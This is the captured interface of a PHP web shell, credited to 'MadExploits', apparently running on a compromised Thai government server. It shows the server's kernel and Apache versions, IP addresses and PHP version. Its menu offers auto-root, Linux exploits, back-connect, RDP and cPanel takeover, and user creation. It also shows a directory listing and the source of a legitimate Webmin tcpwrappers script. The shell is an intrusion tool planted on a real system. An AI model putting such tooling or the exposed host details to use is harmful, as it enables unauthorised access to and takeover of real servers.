Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
tcpwrappers /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
266
B
-rw-r--r--
backup_config.pl
613
B
-rwxr-xr-x
cgi_args.pl
357
B
-rwxr-xr-x
config
73
B
-rw-r--r--
config.info
138
B
-rw-r--r--
config.info.ca
178
B
-rw-r--r--
config.info.ca.UTF-8
179
B
-rw-r--r--
config.info.de
145
B
-rw-r--r--
config.info.de.UTF-8
145
B
-rw-r--r--
config.info.fr
103
B
-rw-r--r--
config.info.fr.UTF-8
103
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ms_MY
153
B
-rw-r--r--
config.info.ms_MY.UTF-8
153
B
-rw-r--r--
config.info.nl
93
B
-rw-r--r--
config.info.nl.UTF-8
93
B
-rw-r--r--
config.info.no
133
B
-rw-r--r--
config.info.no.UTF-8
133
B
-rw-r--r--
config.info.pl
136
B
-rw-r--r--
config.info.pl.UTF-8
141
B
-rw-r--r--
delete_rules.cgi
541
B
-rwxr-xr-x
edit_rule.cgi
3.35
KB
-rwxr-xr-x
index.cgi
1.44
KB
-rwxr-xr-x
module.info
144
B
-rw-r--r--
module.info.ca
103
B
-rw-r--r--
module.info.ca.UTF-8
116
B
-rw-r--r--
module.info.de
96
B
-rw-r--r--
module.info.de.UTF-8
108
B
-rw-r--r--
module.info.hu
86
B
-rw-r--r--
module.info.hu.UTF-8
108
B
-rw-r--r--
module.info.ms_MY
101
B
-rw-r--r--
module.info.ms_MY.UTF-8
113
B
-rw-r--r--
module.info.nl
21
B
-rw-r--r--
module.info.nl.UTF-8
27
B
-rw-r--r--
module.info.no
21
B
-rw-r--r--
module.info.no.UTF-8
27
B
-rw-r--r--
module.info.pl
92
B
-rw-r--r--
module.info.pl.UTF-8
106
B
-rw-r--r--
save_rule.cgi
2.21
KB
-rwxr-xr-x
tcpwrappers-lib.pl
2.85
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit_rule.cgi
#!/usr/bin/perl # Creating or editing rule require './tcpwrappers-lib.pl'; &ReadParse(); $type = $in{'allow'} ? 'allow' : 'deny'; @xservices = &list_services(); unshift @xservices, "ALL" if (@xservices); if ($in{'new'}) { &ui_print_header(undef, $text{'edit_title1'.$type}, "", "edit_rule"); } else { &ui_print_header(undef, $text{'edit_title2'.$type}, "", "edit_rule"); # Get the rule @rules = &list_rules($config{'hosts_'.$type}); ($rule) = grep { $_->{'id'} == $in{'id'} } @rules; $rule || &error($text{'edit_eid'}); # parse services (daemons) if ($rule->{'service'} =~ /^(.+) EXCEPT (.*)$/) { @services = split /,\s?|\s+/, $1; @eservices = split /,\s?|\s+/, $2; } else { @services = split /,\s?|\s+/, $rule->{'service'}; } if (@xservices) { # try to find all services (daemons) in xinetd/inetd foreach my $rule_service (@services, @eservices) { $found = 0; foreach my $xinet_service (@xservices) { $found = 1 if ($rule_service eq $xinet_service); } unless ($found) { # not found -> let user to edit custom service @xservices = (); } } } # parse hosts if ($rule->{'host'} =~ /^(.+) EXCEPT (.*)$/) { $hosts = $1; $ehosts = $2 } else { $hosts = $rule->{'host'}; } } # Form header print &ui_form_start("save_rule.cgi", "post"); print &ui_hidden("new", $in{'new'}),"\n"; print &ui_hidden("id", $in{'id'}),"\n"; print &ui_hidden($in{'allow'} ? 'allow' : 'deny', 1),"\n"; print &ui_table_start($text{'edit_header'}, "", 2); # Services if (@xservices && $config{'inetd_services'}) { # listed from (x)inetd print &ui_table_row($text{'edit_service'}, &ui_select("service", \@services, \@xservices, 5, 1)); print &ui_table_row($text{'edit_except'}, &ui_select("service_except", \@eservices, \@xservices, 5, 1)); } else { print &ui_table_row($text{'edit_service'}, &ui_textbox("service_custom", join(",",@services), 40)); print &ui_table_row($text{'edit_except'}, &ui_textbox("service_except_custom", join(",",@eservices), 40)); } print &ui_table_hr(); # Hosts @wildcards = ("ALL","KNOWN","UNKNOWN","LOCAL","PARANOID"); $found = ''; foreach my $w (@wildcards) { $found = $w if ($w eq $hosts); } print &ui_table_row($text{'edit_hosts'}, &ui_opt_textbox("host_text", ($found ? "" : $hosts), 41, &ui_select("host_select", $found, \@wildcards)), 3); print &ui_table_row($text{'edit_hostsexcept'}, &ui_textbox("host_except", $ehosts, 50), 3); print &ui_table_hr(); # Shell commands @directives = ('none', 'spawn', 'twist'); @cmds = split /:/, $rule->{'cmd'} if (!$in{'new'}); $label = $text{'edit_cmd'}; for ($i = 0; $i <= $#cmds; $i++) { $cmds[$i] =~ s/^\s*//; my $chosen = $cmds[$i] =~ /^(spawn|twist)/ ? $1 : 'none'; $cmds[$i] =~ s/^\s*${chosen}\s*// if ($cmds[$i] =~ /^\s*(spawn)|(twist)/); print &ui_table_row($label, &ui_select("cmd_directive_$i", $chosen, \@directives).' '.&ui_textbox("cmd_$i", $cmds[$i], 50), 3); $label = ""; } # Row for new command print &ui_table_row($label, &ui_select("cmd_directive_$i", undef, \@directives).' '.&ui_textbox("cmd_$i", "", 50), 3); print &ui_hidden("cmd_count", $i),"\n"; # Form footer print &ui_table_end(); print &ui_form_end([ $in{'new'} ? ( [ "create", $text{'create'} ] ) : ( [ "save", $text{'save'} ], [ "delete", $text{'delete'} ] ) ]); &ui_print_footer("index.cgi?type=$type", $text{'index_return'});
Close